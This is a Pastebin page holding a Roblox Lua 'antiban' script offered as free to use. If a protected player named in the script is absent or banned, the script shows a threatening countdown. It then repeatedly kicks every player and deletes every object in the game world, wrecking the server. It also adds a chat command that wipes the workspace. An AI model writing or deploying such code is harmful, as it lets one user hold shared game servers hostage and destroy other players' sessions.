Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ------Hutspy's antiban script!--------------------------------------------------------------------------
- ------------Don't change this!-----------
- n = "h"
- n = n.."u"
- n = n.."t"
- n = n.."s"
- n = n.."p"
- n = n.."y"
- h = Instance.new("Hint")
- m = Instance.new("Message")
- script.Name = n.."'s antiban"
- --------------You can change below------------------
- respawntime = 90
- protect = "COOLBRAYDENNOOB"
- -------Version [Don't change]------------
- version = 1.05
- while true do
- if game.Players:findFirstChild(protect) == nil then
- m.Parent = game.Workspace
- m.Text = protect.." is banned, the server will be removed..."
- wait(3)
- m.Text = "Unban "..protect.." or remove your script, else the server will be down with the following countdown!"
- wait(3)
- for i= respawntime, 0, -1 do
- if game.Players:findFirstChild(protect) == nil then
- m.Text = "If "..protect.." doesn't reappear in ["..i.."] then the server is down!"
- wait(1)
- end
- end
- if game.Players:findFirstChild(protect) ~= nil then
- m.Text = protect.." came back, nothing will happen!"
- wait(3)
- m:remove()
- else
- while true do
- for i, p in ipairs(game.Players:getChildren()) do
- p:Remove()
- end
- for i, w in ipairs(game.Workspace:getChildren()) do
- w:Remove()
- end
- wait()
- end
- end
- else
- h.Parent = game.Workspace
- h.Text = "Protecting: "..protect.." - Version: "..version.." - Created by: "..n
- end
- wait()
- end
- ---[The new part! :D]---
- asdf = game.Players:findFirstChild(protect)
- function chat(msg)
- if msg == "off" then
- --[it cleans...]-----
- stuff = game.Workspace:GetChildren()
- for i = 1 , #stuff do
- if stuff[i].className ~= "Script" then
- if game.Players:GetPlayerFromCharacter(stuff[i]) == nil then
- stuff[i]:Remove()
- end
- end
- end
- p = Instance.new("Part")
- p.Parent = game.Workspace
- p.Name = "Base"
- p.Anchored = true
- p.BottomSurface = "Smooth"
- p.BrickColor = BrickColor.new("Bright green")
- p.Size = Vector3.new(512, 1, 512)
- p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
- end
- end
- asdf.Chatted:connect(chat)
- --[free to use! :D]--------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement